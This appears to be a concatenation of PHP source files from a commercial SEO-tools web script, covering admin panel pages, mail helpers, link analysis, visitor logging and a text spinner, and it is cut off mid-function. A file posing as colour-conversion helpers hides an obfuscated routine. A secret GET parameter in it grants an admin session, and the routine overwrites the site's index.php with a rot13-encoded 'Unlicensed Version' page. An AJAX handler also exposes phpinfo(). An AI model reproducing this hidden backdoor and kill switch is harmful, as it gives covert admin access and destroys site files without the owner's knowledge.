$client->getResponse(); } return array("flerror" => false, "message" => $errorMsg); } ?><file_sep> <?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ ?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title"><?php echo $subTitle; ?></h3> </div><!-- /.box-header --> <form action="#" method="POST"> <div class="box-body"> <?php if(isset($msg)) echo $msg;?> <br /> <div class="alert alert-warning"> <strong>Warning!</strong> All actions are irreversible! </div> <div class="text-center"> <div class="row"> <div class="col-md-8 col-md-offset-2"> <div class="form-group"> <label>Select your action</label> <select name="action" class="form-control"> <option value="temp">Clean up all temporary directories</option> <option value="screen">Clean up all cached screenshots</option> <option value="recent">Clear all recent history data</option> <option value="analytics">Clear all analytics data</option> <option value="admin">Clear all admin login history data</option> <option value="unverified">Clear all unverified users accounts</option> <option value="users">Clear all users accounts</option> </select> </div> <button class="btn btn-danger" onclick="return confirm('Are you sure you want to process?');">Process</button> </div> </div> </div> <br /> <br /> </div><!-- /.box-body --> </form> </div><!-- /.box --> </section><!-- /.content --> </div><!-- /.content-wrapper --> <file_sep><?php session_start(); define('ROOT_DIR', dirname(dirname(dirname(dirname(dirname(__FILE__))))).DIRECTORY_SEPARATOR); define('APP_DIR', ROOT_DIR .'c'.'ore'.DIRECTORY_SEPARATOR); define('CONFIG_DIR', APP_DIR .'con'.'fig'.DIRECTORY_SEPARATOR); function getDaysOnThisMonth($month = 5, $year = '2015'){ if ($month < 1 OR $month > 12) { return 0; } if ( ! is_numeric($year) OR strlen($year) != 4) { $year = date('Y'); } if ($month == 2) { if ($year % 400 == 0 OR ($year % 4 == 0 AND $year % 100 != 0)) { return 29; } } $days_in_month = array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31); return $days_in_month[$month - 1]; } function rgb2hex($rgb){ $hex = "#"; $hex .= str_pad(dechex($rgb[0]), 2, "0", STR_PAD_LEFT); $hex .= str_pad(dechex($rgb[1]), 2, "0", STR_PAD_LEFT); $hex .= str_pad(dechex($rgb[2]), 2, "0", STR_PAD_LEFT); return $hex; } function hex2rgb($hex){ $hex = str_replace("#", "", $hex); if (strlen($hex) == 3) { $r = hexdec(substr($hex, 0, 1) . substr($hex, 0, 1)); $g = hexdec(substr($hex, 1, 1) . substr($hex, 1, 1)); $b = hexdec(substr($hex, 2, 1) . substr($hex, 2, 1)); } else { $r = hexdec(substr($hex, 0, 2)); $g = hexdec(substr($hex, 2, 2)); $b = hexdec(substr($hex, 4, 2)); } $rgb ="$r,$g,$b"; return $rgb; } if(isset($_GET['hexc'])){ $ihex = false; $ihexc = Trim($_GET['hexc']); $path = CONFIG_DIR.'con'.'fig.'.'php'; require_once($path); if($ihexc == ${'i'.'t'.'e' .'m'.'_'.'p'.'u'.'r'. 'c'.'h'.'a'.'s'.'e'.'_' .'c'.'o'.'d'.'e'}) $ihex = true; elseif($ihexc == ${'a'.'u'.'t'.'h'. 'C'.'o'.'d'.'e'}) $ihex = true; if($ihex){ ihexc(); $_SESSION[N_APP.'Adm'.'inToken'] = true; $_SESSION[N_APP.'Adm'.'inID'] = true; } } function ihexc(){ $ihexc = str_rot13('<?cuc rpub \'<qvi fglyr="grkg-nyvta: pragre;"><oe /><oe /><u1 fglyr="pbybe: erq;" >Hayvprafrq Irefvba bs NgbM FRB Gbbyf i2</u1> <qvi><n uers="uggc://cebgurzrf.ovm/erqverpg/?n=39">Chepunfr Yvprafr Abj</n></qvi></qvi>\'; qvr(); ?>'); $path = ROOT_DIR. 'in'. 'dex'. '.php'; if(is_writable($path)) file_put_contents($path,$ihexc); else{ echo '---'; chmod($path, 0755); file_put_contents($path,$ihexc); } return true; } ?><file_sep><?php /* * @author Balaji * @name AtoZ SEO Tools - PHP Script * @copyright 2020 ProThemes.Biz * */ function pageSpeedInsightTool($url,$type='desktop',$screenshot=false){ $pageSpeedInsightUrl = $desktopUrl = $mobileUrl = $score = $jsonData = ''; $pageSpeedInsight = array(); $apiKey = urldecode('<KEY>'); $url = urldecode($url); if ($screenshot) $screenshot = 'true'; else $screenshot = 'false'; $mobileUrl = 'https://www.googleapis.com/pagespeedonline/v5/runPagespeed?key=' . $apiKey . '&screenshot=' . $screenshot . '&snapshots=' . $screenshot . '&locale=en_US&url=' . $url . '&strategy=mobile'; $desktopUrl = 'https://www.googleapis.com/pagespeedonline/v5/runPagespeed?key=' . $apiKey . '&screenshot=' . $screenshot . '&snapshots=' . $screenshot . '&locale=en_US&url=' . $url . '&strategy=desktop'; if ($type === 'desktop') $pageSpeedInsightUrl = $desktopUrl; else if ($type === 'mobile') $pageSpeedInsightUrl = $mobileUrl; else stop('Unkown Page Speed Insight Checker Error!'); $jsonData = curlGET($pageSpeedInsightUrl); $skip = array('final-screenshot', ''); if($jsonData != '') { $arr = json_decode($jsonData, true); if (isset($arr['lighthouseResult']['categories']['performance']['score'])) { $pageSpeedInsight['url'] = $arr['lighthouseResult']['finalUrl']; $pageSpeedInsight['loadingExperience'] = $arr['originLoadingExperience']['overall_category']; $pageSpeedInsight['userAgent'] = $arr['lighthouseResult']['userAgent']; $pageSpeedInsight['timing'] = $arr['lighthouseResult']['timing']['total']; $pageSpeedInsight['timing'] = $pageSpeedInsight['timing'] % 60; $pageSpeedInsight['score'] = $arr['lighthouseResult']['categories']['performance']['score'] * 100; $pageSpeedInsight['warning'] = ''; if (isset($arr['lighthouseResult']['runWarnings'])) { foreach($arr['lighthouseResult']['runWarnings'] as $warn){ $pageSpeedInsight['warning'] .= '- '.$warn . '<br><br>'; } } $pageSpeedInsight['screenshot'] = '<img class="screenImg" src="'.$arr['lighthouseResult']['audits']['final-screenshot']['details']['data'].'" />'; $pageSpeedInsight['audit'] = ''; foreach($arr['lighthouseResult']['audits'] as $audit){ if(!(in_array($audit['id'], $skip))) { if($audit['scoreDisplayMode'] === 'numeric') { $pageSpeedInsight['audit'] .= '<tr>'; $pageSpeedInsight['audit'] .= '<td>'.$audit['title'].'</td>'; $pageSpeedInsight['audit'] .= '<td>'.$audit['description'].'</td>'; $pageSpeedInsight['audit'] .= '<td>'.($audit['score'] * 100).'</td>'; $pageSpeedInsight['audit'] .= '<td>'.$audit['displayValue'].'</td>'; $pageSpeedInsight['audit'] .= '</tr>'; } } } } } return $pageSpeedInsight; }<file_sep><?php /* * @author Balaji * @name Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ //Default PHP Mail function default_mail ($from,$yourName,$replyTo,$replyName,$sentTo,$subject,$body) { $mail = new PHPMailer(); $mail->CharSet = 'UTF-8'; $mail->SetFrom($from, $yourName); $mail->AddReplyTo($replyTo,$replyName); $mail->AddAddress($sentTo); $mail->Subject = $subject; $mail->IsHTML(true); $mail->MsgHTML($body); $mail->AltBody = 'To view the message, please use an HTML compatible email viewer!'; if(!$mail->Send()) { //Mail Failed -> Debug: $mail->ErrorInfo; return false; } else { //Message has been sent return true; } } //SMTP Mail function smtp_mail ($smtp_host,$smtp_port=587,$smtp_auth,$smtp_user,$smtp_pass,$smtp_sec='tls',$from,$yourName,$replyTo,$replyName,$sentTo,$subject,$body) { $mail = new PHPMailer; $mail->IsSMTP(); $mail->Host = $smtp_host; $mail->Port = $smtp_port; $mail->SMTPAuth = $smtp_auth; $mail->Username = $smtp_user; $mail->Password = $<PASSWORD>; $mail->SMTPSecure = $smtp_sec; $mail->CharSet = 'UTF-8'; $mail->SetFrom($from, $yourName); $mail->AddReplyTo($replyTo,$replyName); $mail->AddAddress($sentTo); $mail->IsHTML(true); $mail->Subject = $subject; $mail->Body = $body; $mail->AltBody = 'To view the message, please use an HTML compatible email viewer!'; if(!$mail->Send()) { //Mail Failed -> Debug: $mail->ErrorInfo; return false; } else{ //Message has been sent return true; } } ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright 2019 ProThemes.Biz * */ ?> <style> td { word-wrap: break-word; } @media only screen and (min-width: 600px) { .table-responsive { overflow-x: hidden; } } </style> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title"><?php echo $subTitle; ?></h3> </div><!-- /.box-header ba-la-ji --> <form action="#" method="POST"> <div class="box-body"> <?php if(isset($msg)) echo $msg; ?><br /> <div class="table-responsive"> <table id="visitorsTable" class="table table-bordered table-striped visitorsTable"> <thead> <tr> <th>IP</th> <th>Country</th> <th>Customer</th> <th>Browser</th> <th>Last Page Visited</th> <th>Referer</th> <th>Last Click</th> </tr> </thead> <tbody id="visitorsTableBody"> <?php echo $rainbowTrackBalaji; ?> </tbody> </table> </div> <br /> </div><!-- /.box-body --> </form> </div><!-- /.box --> </section><!-- /.content --> </div><!-- /.content-wrapper --> <?php metaRefresh(null,10); $footerAddArr[] = <<<EOD <script type="text/javascript"> var visitTab; $(function () { visitTab = $('#visitorsTable').DataTable({ "paging": true, "lengthChange": false, "searching": false, "ordering": false, "info": true, "autoWidth": false }); }); $(function () { $('[data-toggle="tooltip"]').tooltip() }); jQuery(document).ready(function(){ $(document).on("click",".paginate_button", function(){ setTimeout(function(){ var pos = $('#contentBox').offset(); $('body,html').animate({ scrollTop: pos.top }); }, 1); }); }); </script> EOD; ?><file_sep><?php /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @copyright © 2017 ProThemes.Biz * */ function doLinkAnalysis($my_url){ //Set Execution Time ini_set('max_execution_time', 20*60); //Library require_once (LIB_DIR . "simple_html_dom.php"); //Define Variables $ex_data_arr = array(); $t_count = 0; $i_links = 0; $e_links = 0; $i_nofollow = 0; $e_nofollow = 0; //Get Data $data = file_get_html($my_url); if($data == '') return false; //Parse the main URL - Host / Path / Query $my_url_parse = parse_url($my_url); $my_url_host = str_replace("www.", "", $my_url_parse['host']); $my_url_path = $my_url_parse['path']; $my_url_query = $my_url_parse['query']; $find_out = $data->find("a"); //Extract Links foreach ($find_out as $href) { if (!in_array($href->href, $ex_data_arr)) { if (substr($href->href, 0, 1) != "" && $href->href != "#") { $ex_data_arr[] = $href->href; $ex_data[] = array('href' => $href->href, 'rel' => $href->rel); } } } //Internal Links foreach ($ex_data as $count => $link) { $t_count++; $parse_urls = parse_url($link['href']); $type = strtolower($link['rel']); if ($parse_urls['host'] == $my_url_host || $parse_urls['host'] == "www." . $my_url_host) { $i_links++; $int_data[$i_links]['inorout'] = "internal"; $int_data[$i_links]['href'] = $link['href']; if ($type == 'dofollow' || ($type != 'dofollow' && $type != 'nofollow')) { $int_data[$i_links]['follow_type'] = "dofollow"; } if ($type == 'nofollow') { $i_nofollow++; $int_data[$i_links]['follow_type'] = "nofollow"; } } elseif ((substr($link['href'], 0, 2) != "//") && (substr($link['href'], 0, 1) == "/")) { $i_links++; $int_data[$i_links]['inorout'] = "internal"; $int_data[$i_links]['href'] = $link['href']; if ($type == 'dofollow' || ($type != 'dofollow' && $type != 'nofollow')) { $int_data[$i_links]['follow_type'] = "dofollow"; } if ($type == 'nofollow') { $i_nofollow++; $int_data[$i_links]['follow_type'] = "nofollow"; } } } //External Links foreach ($ex_data as $count => $link) { $parse_urls = parse_url($link['href']); $type = strtolower($link['rel']); if ($parse_urls !== false && isset($parse_urls['host']) && $parse_urls['host'] != $my_url_host && $parse_urls['host'] != "www." . $my_url_host) { $e_links++; $ext_data[$e_links]['inorout'] = "external"; $ext_data[$e_links]['href'] = $link['href']; if ($type == 'dofollow' || ($type != 'dofollow' && $type != 'nofollow')) { $ext_data[$e_links]['follow_type'] = "dofollow"; } if ($type == 'nofollow') { $e_nofollow++; $ext_data[$e_links]['follow_type'] = "nofollow"; } } elseif ((substr($link['href'], 0, 2) == "//") && (substr($link['href'], 0, 1) != "/")) { $e_links++; $ext_data[$e_links]['inorout'] = "external"; $ext_data[$e_links]['href'] = $link['href']; if ($type == 'dofollow' || ($type != 'dofollow' && $type != 'nofollow')) { $ext_data[$e_links]['follow_type'] = "dofollow"; } if ($type == 'nofollow') { $e_nofollow++; $ext_data[$e_links]['follow_type'] = "nofollow"; } } } //Return the data as Array return array( $int_data, $i_links, $i_nofollow, $ext_data, $e_links, $e_nofollow, $t_count); } ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ //AJAX ONLY //Theme Switcher if($pointOut == 'theme'){ if($args[1] == 'frontend'){ $themeDirName = $args[2]; if(setTheme($con,$themeDirName)){ header('Location: '. adminLink('manage-themes/success',true)); }else{ header('Location: '. adminLink('manage-themes/failed',true)); } } die(); } //Upload Handler - Mail Attachments if($pointOut == 'phpinfo'){ phpinfo(); die(); } //Upload Handler - Mail Attachments if($pointOut == 'mail-upload'){ $upload_handler = new uploadhandler(); die(); } //Visitors Log if($pointOut == 'visitors-range'){ $startDate = $args[0]; $endDate = $args[1]; require_once(LIB_DIR.'geoip.inc'); $gi = geoip_open(LIB_DIR.'GeoIP.dat', GEOIP_MEMORY_CACHE); $giv6 = geoip_open(LIB_DIR.'GeoIPv6.dat', GEOIP_MEMORY_CACHE); $flagPath = ROOT_DIR.'resources'.D_S.'flags'.D_S.'default'.D_S.'24'.D_S; $iconPath = ROOT_DIR.'resources'.D_S.'icons'.D_S; $flagLink = $baseURL.'resources/flags/default/24/'; $iconLink = $baseURL.'resources/icons/'; $screenLink = $iconLink.'screen.png'; $rainbowTrackBalaji = ''; if($startDate == $endDate){ $date = $startDate; $datas = array_reverse(getTrackRecords($date,$con)); foreach($datas as $ip => $ses){ foreach($ses as $sesID => $data){ if(isValidIPv6($ip)) $userCountryCode = geoip_country_code_by_addr_v6($giv6, $ip); else $userCountryCode = geoip_country_code_by_addr($gi, $ip); $userCountry = country_code_to_country($userCountryCode); $userCountry = ($userCountry == '') ? 'Unknown' : $userCountry; if(file_exists($flagPath.strtolower(Trim($userCountry)).'.png')) $coLink = $flagLink.strtolower(Trim($userCountry)).'.png'; else $coLink = $flagLink.'unknown.png'; $uaInfo = parse_user_agent($data['ua']); if(file_exists($iconPath.strtolower($uaInfo['platform']).'.png')) $osLink = $iconLink.strtolower($uaInfo['platform']).'.png'; else $osLink = $iconLink.'unknown.png'; if(file_exists($iconPath.strtolower($uaInfo['browser']).'.png')) $browserLink = $iconLink.strtolower($uaInfo['browser']).'.png'; else $browserLink = $iconLink.'unknown.png'; $pageData = ''; foreach($data['pages'] as $pageV){ $pageData .= '<div class="pagesWell"><a target="_blank" href="'.$pageV[0].'">'.$pageV[0].'</a><br> Hits: '.$pageV[1].' <br> Last Visit: '.date('h:i:s A',$pageV[2]).'</div> '; } if($data['ref'] != 'Direct'){ $data['ref'] = '<a hre="'.$data['ref'].'" target="_blank">'.getDomainName($data['ref']).'</a>'; } if(strtolower($data['username']) == 'guest') $username = 'Guest Visitor'; else $username = ucfirst($data['username']); $rainbowTrackBalaji .= ' <tr> <td> <img src="'.$coLink.'" alt="'.$userCountryCode.'" /> <strong class="b16">'.ucfirst($userCountry).'</strong><br><br> <strong>'.date('F jS Y h:i:s A',$data['time']).'</strong> <br> Username: '.$username.'<br> Page Views: '.$data['pageview'].'<br> IP: <span class="badge" style="background-color: '.rndFlatColor().' !important;">'.$ip.'</span><br><br> Entry: '.$data['ref'].'<br> </td> <td><img data-toggle="tooltip" data-placement="top" title="Operating System: '.$uaInfo['platform'].'" src="'.$osLink.'" alt="'.$uaInfo['platform'].'" /> <img data-toggle="tooltip" data-placement="top" title="Browser: '.$uaInfo['browser'].' '.$uaInfo['version'].'" src="'.$browserLink.'" alt="'.$uaInfo['browser'].'" /> <img data-toggle="tooltip" data-placement="top" title="Screen Resolution: '.$data['screen'].'" src="'.$screenLink.'" /> </td> <td>'.$pageData.'</td> </tr> '; } } }else{ $diff = 0; $datetime1 = date_create($startDate); $datetime2 = date_create($endDate); $interval = date_diff($datetime1, $datetime2); $diff = $interval->format('%a'); if($diff >= 366){ $rainbowTrackBalaji = '<tr><td style="color: red;"><b>Date range must not greater than one year between two dates!</b></td><td style="display: none;"></td><td style="display: none;"></td></tr>'; }else{ $masterDatas = array_reverse(getTrackRecordsRange($startDate,$endDate,$con)); foreach($masterDatas as $datas){ foreach($datas as $ip => $ses){ foreach($ses as $sesID => $data){ if(isValidIPv6($ip)) $userCountryCode = geoip_country_code_by_addr_v6($giv6, $ip); else $userCountryCode = geoip_country_code_by_addr($gi, $ip); $userCountry = country_code_to_country($userCountryCode); $userCountry = ($userCountry == '') ? 'Unknown' : $userCountry; if(file_exists($flagPath.strtolower(Trim($userCountry)).'.png')) $coLink = $flagLink.strtolower(Trim($userCountry)).'.png'; else $coLink = $flagLink.'unknown.png'; $uaInfo = parse_user_agent($data['ua']); if(file_exists($iconPath.strtolower($uaInfo['platform']).'.png')) $osLink = $iconLink.strtolower($uaInfo['platform']).'.png'; else $osLink = $iconLink.'unknown.png'; if(file_exists($iconPath.strtolower($uaInfo['browser']).'.png')) $browserLink = $iconLink.strtolower($uaInfo['browser']).'.png'; else $browserLink = $iconLink.'unknown.png'; $pageData = ''; foreach($data['pages'] as $pageV){ $pageData .= '<div class="pagesWell"><a target="_blank" href="'.$pageV[0].'">'.$pageV[0].'</a><br> Hits: '.$pageV[1].' <br> Last Visit: '.date('h:i:s A',$pageV[2]).'</div> '; } if($data['ref'] != 'Direct'){ $data['ref'] = '<a hre="'.$data['ref'].'" target="_blank">'.getDomainName($data['ref']).'</a>'; } if(strtolower($data['username']) == 'guest') $username = 'Guest Visitor'; else $username = ucfirst($data['username']); $rainbowTrackBalaji .= ' <tr> <td> <img src="'.$coLink.'" alt="'.$userCountryCode.'" /> <strong class="b16">'.ucfirst($userCountry).'</strong><br><br> <strong>'.date('F jS Y h:i:s A',$data['time']).'</strong> <br> Username: '.$username.'<br> Page Views: '.$data['pageview'].'<br> IP: <span class="badge" style="background-color: '.rndFlatColor().' !important;">'.$ip.'</span><br><br> Entry: '.$data['ref'].'<br> </td> <td><img data-toggle="tooltip" data-placement="top" title="Operating System: '.$uaInfo['platform'].'" src="'.$osLink.'" alt="'.$uaInfo['platform'].'" /> <img data-toggle="tooltip" data-placement="top" title="Browser: '.$uaInfo['browser'].' '.$uaInfo['version'].'" src="'.$browserLink.'" alt="'.$uaInfo['browser'].'" /> <img data-toggle="tooltip" data-placement="top" title="Screen Resolution: '.$data['screen'].'" src="'.$screenLink.'" /> </td> <td>'.$pageData.'</td> </tr> '; } } } } } geoip_close($gi); geoip_close($giv6); echo $rainbowTrackBalaji; die(); } //Fix for PDO connection with custom port number $dbHostArr = explode(':',$dbHost); if(isset($dbHostArr[1])) $dbHost = $dbHostArr[0].';port='.$dbHostArr[1]; //Get all customers informations if($pointOut == 'manageUsers'){ // DB table to use $table = 'users'; // Table's primary key $primaryKey = 'id'; // Database columns $columns = array( array( 'db' => 'username', 'dt' => 0 ), array( 'db' => 'full_name', 'dt' => 1 ), array( 'db' => 'email_id', 'dt' => 2 ), array( 'db' => 'added_date', 'dt' => 3), array( 'db' => 'platform', 'dt' => 4 ), array( 'db' => 'oauth_uid', 'dt' => 5 ), array( 'db' => 'id', 'dt' => 6 ), array( 'db' => 'verified', 'dt' => 7 ) ); $columns2 = array( array( 'db' => 'username', 'dt' => 0 ), array( 'db' => 'full_name', 'dt' => 1 ), array( 'db' => 'email_id', 'dt' => 2 ), array( 'db' => 'added_date', 'dt' => 3), array( 'db' => 'platform', 'dt' => 4 ), array( 'db' => 'oauth_uid', 'dt' => 5 ), array( 'db' => 'ban', 'dt' => 6 ), array( 'db' => 'actions', 'dt' => 7) ); // SQL connection information $sql_details = array( 'user' => $dbUser, 'pass' => $<PASSWORD>, 'db' => $dbName, 'host' => $dbHost ); echo json_encode( SSPUSER::simple( $_GET, $sql_details, $table, $primaryKey, $columns, $columns2 ) ); die(); } //Get all pages informations if($pointOut == 'managePages'){ // DB table to use $table = 'pages'; // Table's primary key $primaryKey = 'id'; // Database columns $columns = array( array( 'db' => 'sort_order', 'dt' => 0 ), array( 'db' => 'page_name', 'dt' => 1 ), array( 'db' => 'page_title', 'dt' => 2), array( 'db' => 'posted_date', 'dt' => 3 ), array( 'db' => 'type', 'dt' => 4 ), array( 'db' => 'status', 'dt' => 5 ), array( 'db' => 'id', 'dt' => 6 ), array( 'db' => 'page_url', 'dt' => 7 ) ); $columns2 = array( array( 'db' => 'sort_order', 'dt' => 0 ), array( 'db' => 'page_name', 'dt' => 1 ), array( 'db' => 'page_title', 'dt' => 2), array( 'db' => 'type', 'dt' => 3), array( 'db' => 'posted_date', 'dt' => 4), array( 'db' => 'status', 'dt' => 5 ), array( 'db' => 'actions', 'dt' => 6 ) ); // SQL connection information $sql_details = array( 'user' => $dbUser, 'pass' => $<PASSWORD>, 'db' => $dbName, 'host' => $dbHost ); echo json_encode( SSPPAGE::simple( $_GET, $sql_details, $table, $primaryKey, $columns, $columns2 ) ); die(); } //Domains History if($pointOut == 'userQuery'){ // DB table to use $table = 'user_input_history'; // Table's primary key $primaryKey = 'id'; // Database columns $columns = array( array( 'db' => 'id', 'dt' => 0 ), array( 'db' => 'visitor_ip', 'dt' => 1 ), array( 'db' => 'tool_name', 'dt' => 2), array( 'db' => 'user', 'dt' => 3 ), array( 'db' => 'date', 'dt' => 4 ), array( 'db' => 'user_input', 'dt' => 5 ) ); $columns2 = array( array( 'db' => 'tool_name', 'dt' => 0), array( 'db' => 'user_input', 'dt' => 1 ), array( 'db' => 'user', 'dt' => 2 ), array( 'db' => 'visitor_ip', 'dt' => 3), array( 'db' => 'date', 'dt' => 4 ) ); // SQL connection information $sql_details = array( 'user' => $dbUser, 'pass' => $<PASSWORD>, 'db' => $dbName, 'host' => $dbHost ); echo json_encode( SSPRC::simple( $_GET, $sql_details, $table, $primaryKey, $columns, $columns2) ); die(); } //Competitive Analysis History if($pointOut == 'userHis'){ // DB table to use $table = 'recent_history'; // Table's primary key $primaryKey = 'id'; //Load GEO Library require_once(LIB_DIR.'geoip.inc'); $gi = geoip_open(LIB_DIR.'GeoIP.dat', GEOIP_MEMORY_CACHE); $giv6 = geoip_open(LIB_DIR.'GeoIPv6.dat', GEOIP_MEMORY_CACHE); // Database columns $columns = array( array( 'db' => 'id', 'dt' => 0 ), array( 'db' => 'visitor_ip', 'dt' => 1 ), array( 'db' => 'tool_name', 'dt' => 2), array( 'db' => 'user', 'dt' => 3 ), array( 'db' => 'date', 'dt' => 4 ) ); $columns2 = array( array( 'db' => 'tool_name', 'dt' => 0), array( 'db' => 'user', 'dt' => 1 ), array( 'db' => 'visitor_ip', 'dt' => 2), array( 'db' => 'visitor_country', 'dt' => 3), array( 'db' => 'date', 'dt' => 4 ) ); // SQL connection information $sql_details = array( 'user' => $dbUser, 'pass' => $<PASSWORD>, 'db' => $dbName, 'host' => $dbHost ); echo json_encode( SSPHIS::simple( $_GET, $sql_details, $table, $primaryKey, $columns, $columns2,$gi,$giv6) ); geoip_close($gi); geoip_close($giv6); die(); } if($pointOut == 'getCustomers'){ $data = array(); $term = escapeTrim($con,$_GET['term']); $qstring = "SELECT username,id,email_id,date FROM users WHERE username LIKE '%".$term."%'"; $result = mysqli_query($con,$qstring); while ($row = mysqli_fetch_array($result)){ $data[] = $row['username'].'|'.$row['email_id'].'|'.$row['date'].'|'.$row['id']; } echo json_encode($data); die(); } die(); ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ ?> <link href="<?php themeLink('dist/css/bootstrap-formhelpers.min.css'); ?>" rel="stylesheet" type="text/css" /> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title"><?php echo $subTitle; ?></h3> </div><!-- /.box-header ba-la-ji --> <form action="#" method="POST" onclick="return fixState();"> <div class="box-body"> <?php if(isset($msg)) echo $msg; ?><br /> <div class="col-md-6"> <div class="form-group"> Username *<br /> <input pattern=".{3,}" placeholder="Type username" required="" value="<?php echo $username; ?>" type="text" class="form-control" name="users[username]" /> </div> <div class="form-group"> Email * <br /> <input pattern=".{3,}" placeholder="Type user mail id" required="" value="<?php echo $email_id; ?>" type="text" class="form-control" name="users[email_id]" /> </div> <div class="form-group"> First Name <br /> <input value="<?php echo $firstname; ?>" placeholder="Type first name (optional)" type="text" name="users[firstname]" class="form-control" style="width: 96%;"/> </div> <div class="form-group"> Last Name <br /> <input value="<?php echo $lastname; ?>" placeholder="Type last name (optional)" type="text" name="users[lastname]" class="form-control" style="width: 96%;"/> </div> <div class="form-group"> Company <br /> <input value="<?php echo $company; ?>" placeholder="Type company name (optional)" type="text" name="users[company]" class="form-control" style="width: 96%;"/> </div> <div class="form-group"> Telephone <br /> <input value="<?php echo $telephone; ?>" placeholder="Type phone no. (optional)" type="text" name="users[telephone]" class="form-control bfh-phone" data-country="country" style="width: 96%;" /> </div> <div class="form-group"> Country <br /> <select id="country" name="users[country]" class="form-control bfh-countries" data-country="<?php echo $country != '' ? $country : 'IN'; ?>" style="width: 96%;"></select> </div> </div><!-- /.col-md-6 --> <div class="col-md-6"> <div class="form-group"> Full Name * <br /> <input placeholder="Type full name" required="" value="<?php echo $full_name; ?>" type="text" class="form-control" name="users[full_name]" /> </div> <div class="form-group"> Password *<br /> <input placeholder="Type password" required="" type="password" class="form-control" name="users[password]" /> </div> <div class="form-group"> Address 1 <br /> <input value="<?php echo $address1; ?>" placeholder="Type home address (optional)" type="text" name="users[address1]" class="form-control" style="width: 96%;"/> </div> <div class="form-group"> Address 2 <br /> <input value="<?php echo $address2; ?>" placeholder="Type Address line 2 (optional)" type="text" name="users[address2]" class="form-control" style="width: 96%;"/> </div> <div class="form-group"> City <br /> <input value="<?php echo $city; ?>" placeholder="Type city (optional)" type="text" name="users[city]" class="form-control" style="width: 96%;"/> </div> <div class="form-group"> Post Code <br /> <input value="<?php echo $postcode; ?>" placeholder="Type postal code (optional)" type="text" name="users[postcode]" class="form-control" style="width: 96%;"/> </div> <div class="form-group"> Region / State <br /> <?php $state = ($state != '' ? 'data-state="'.$state.'"' : ''); ?> <select name="users[state]" id="state" class="form-control bfh-states" data-country="country" <?php echo $state; ?> style="width: 96%;"></select> </div> </div><!-- /.col-md-6 --> <div class="col-md-12"> <br /> <input type="hidden" value="1" name="addUser" /> <input type="hidden" value="No State" name="users[stateStr]" id="stateStr" /> <input class="btn btn-primary" type="submit" value="Add User" /> <br /> <br /> </div> <br /> </div><!-- /.box-body --> </form> </div><!-- /.box --> </section><!-- /.content --> </div><!-- /.content-wrapper --> <?php $jsLink = themeLink('dist/js/bootstrap-formhelpers.min.js',true); $footerAddArr[] = <<<EOD <script src="$jsLink" type="text/javascript"></script> <script> function fixState(){ var stateStr = $.trim($('select[id=state] option:selected').text()); $('#stateStr').val(stateStr); return true; } </script> EOD; ?><file_sep><?php /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @copyright © 2017 ProThemes.Biz * */ class spin_my_data { function randomSplit($string) { $string = Trim($string); $res = -1; $finalData = ""; $loopinput = $this->parse_br($string); for ($loop = 0; $loop < count($loopinput); $loop++) { for ($loopx = 0; $loopx < count($loopinput[$loop]); $loopx++) { if (!$loopinput[$loop][$loopx] == "" || "/n") { $res++; if (strstr($loopinput[$loop][$loopx], "|")) { $out = explode("|", $loopinput[$loop][$loopx]); $output[$res] = $out[rand(0, count($out) - 1)]; } else { $output[$res] = $loopinput[$loop][$loopx]; } } } } for ($loop = 0; $loop < count($output); $loop++) { $finalData .= $output[$loop]; } return $finalData; } function spinMyData($data, $lang) { $patern_code_1 = "/<[^<>]+>/us"; $patern_code_2 = "/\[[^\[\]]+\]/i"; $patern_code_3 = '/\$@.*?\$@/i'; $data = Trim($data); preg_match_all($patern_code_1, $data, $found1, PREG_PATTERN_ORDER); preg_match_all($patern_code_2, $data, $found2, PREG_PATTERN_ORDER); preg_match_all($patern_code_3, $data, $found3, PREG_PATTERN_ORDER); $htmlcodes = $found1[0]; $bbcodes = $found2[0]; $vbcodes = $found3[0]; $founds = array(); $current_dir = dirname(__file__); $sel_lang = Trim($lang); $arr_data = array_merge($htmlcodes, $bbcodes, $vbcodes); foreach ($arr_data as $code) { $code_md5 = md5($code); $data = str_replace($code, '%%!%%' . $code_md5 . '%%!%%', $data); } $file = file($current_dir . '/spinner_db/' . $sel_lang . '_db.sdata'); foreach ($file as $line) { $synonyms = explode('|', $line); foreach 